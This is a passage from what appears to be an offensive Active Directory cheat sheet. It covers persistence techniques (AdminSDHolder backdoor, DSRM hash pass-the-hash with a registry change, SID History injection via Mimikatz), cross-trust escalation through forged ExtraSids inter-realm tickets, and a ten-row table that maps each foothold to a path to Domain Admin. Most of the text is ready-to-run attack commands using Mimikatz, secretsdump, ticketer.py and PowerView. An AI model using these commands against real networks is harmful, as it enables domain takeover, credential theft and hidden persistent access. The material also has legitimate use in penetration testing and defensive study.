Invoke-ADSDPropagation
EFFECT: backdoor_user gains GenericAll on every AdminSDHolder-protected group. Even if removed from DA, they retain ACL rights and can re-add themselves.
DSRM Account — Local DC AdminPERSISTENCE
Enable DSRM account for local DC login (network logon)
# Get DSRM hash (run on DC as SYSTEM/DA)
# Mimikatz
lsadump::lsa /patch /name:dsrm

# Enable network logon for DSRM account
# Registry key (requires DA)
Set-ItemProperty -Path \
  "HKLM:\System\CurrentControlSet\Control\Lsa" \
  -Name DsrmAdminLogonBehavior -Value 2

# PTH with DSRM hash — local-auth flag
secretsdump.py -hashes :DSRM_HASH \
  -local-auth administrator@DC_IP
SID History InjectionPERSISTENCE
Inject DA SID into a regular user's SIDHistory attribute
# Requires NTDS manipulation — Mimikatz
# Get Domain SID
Get-DomainSID

# Mimikatz — inject SID history
privilege::debug
sid::patch
sid::add /sam:backdoor_user /new:DOMAIN_SID-500

# Verify
Get-DomainUser backdoor_user | Select-Object sidhistory

# User now has invisible DA privileges
# Appears as low-priv user — SIDHistory grants DA access
12Cross-Trust Attacks
Trust Enumeration + SID FilteringRECON FIRST
Map all trusts before attempting cross-domain attacks
# PowerView — enumerate all trusts
Get-DomainTrust
Get-DomainTrust -Domain child.domain.local
Get-ForestTrust

# impacket
GetADUsers.py -all -dc-ip DC_IP \
  'domain.local/user:pass'

# BloodHound
Get-DomainTrustMapping  # shows all trust paths

# Check SID Filtering status
# Quarantine attribute = SID filtering enabled (blocks SID history)
(Get-DomainTrust).TrustAttributes
KEY FLAGS: WITHIN_FOREST = internal trust (SID filtering usually off). FOREST_TRANSITIVE = cross-forest (SID filtering usually on). TREAT_AS_EXTERNAL = quarantine on (SID history attacks blocked).
Child → Parent Domain EscalationCRITICAL — ExtraSids attack
Abuse trust relationship with SIDHistory to escalate to parent/forest root
# Prerequisite: DA in child domain, know child KRBTGT hash
# Get child domain KRBTGT hash (DCSync from child DC)
secretsdump.py -hashes :CHILD_DA_HASH \
  administrator@CHILD_DC_IP -just-dc-user krbtgt

# Get Enterprise Admin SID of parent domain
Get-DomainGroup -Domain parent.local \
  -Identity "Enterprise Admins" | Select-Object objectsid

# Forge inter-realm TGT with Enterprise Admin SID in ExtraSids
ticketer.py \
  -nthash CHILD_KRBTGT_HASH \
  -domain-sid CHILD_DOMAIN_SID \
  -domain child.domain.local \
  -extra-sid PARENT_EA_SID \
  administrator

export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass PARENT_DC_FQDN
GOTCHA: SID Filtering blocks ExtraSids across external trusts. Works reliably on parent-child trusts within same forest (SID filtering typically disabled). Always check TrustAttributes for TREAT_AS_EXTERNAL flag before attempting.
Master Decision Table — AD Attack Chain
AD Attack Prioritization — From Zero to DAWORKFLOW REFERENCE
# Situation First Move Escalation Path Key Tool
1 No creds, domain joined host visible LDAP anon + SMB null session + RPC → user list Kerbrute userenum → AS-REP roast → spray enum4linux-ng, kerbrute
2 Have domain creds (low-priv user) BloodHound ALL collection → find shortest path to DA Kerberoast → crack → check ACL edges bloodhound-python, GetUserSPNs.py
3 GenericWrite on user in BloodHound Shadow Credentials (certipy shadow auto) PKINIT → NT hash → PTH → further ACLs certipy-ad shadow, pywhisker
4 GenericAll on group → privileged group Add-DomainGroupMember (add self to group) New session → net use → group rights apply PowerView, net group /domain
5 GenericWrite on computer RBCD — create machine acct, write msDS-AllowedToActOnBehalfOf S4U2Self+Proxy → admin ST → secretsdump addcomputer.py, rbcd.py, getST.py
6 ADCS deployed — certipy finds ESC1/ESC6 Request cert with SAN=administrator Certipy auth → NT hash → PTH to DC certipy-ad req, certipy-ad auth
7 SMB signing off + coercion possible Responder (SMB=Off) + ntlmrelayx → relay targets SAM dump or LDAP → machine account → RBCD ntlmrelayx.py, responder, coercer
8 Unconstrained delegation host found Rubeus monitor + coerce DC auth (PrinterBug/PetitPotam) Capture DC TGT → PTT → DCSync Rubeus, printerbug.py, secretsdump.py
9 Have DA — want persistence DCSync KRBTGT → Golden Ticket AdminSDHolder backdoor, SID History, DSRM secretsdump.py, ticketer.py
10 Child domain DA → want forest root DCSync child KRBTGT → ExtraSids with EA SID Inter-realm ticket → parent DC → full forest ticketer.py with -extra-sid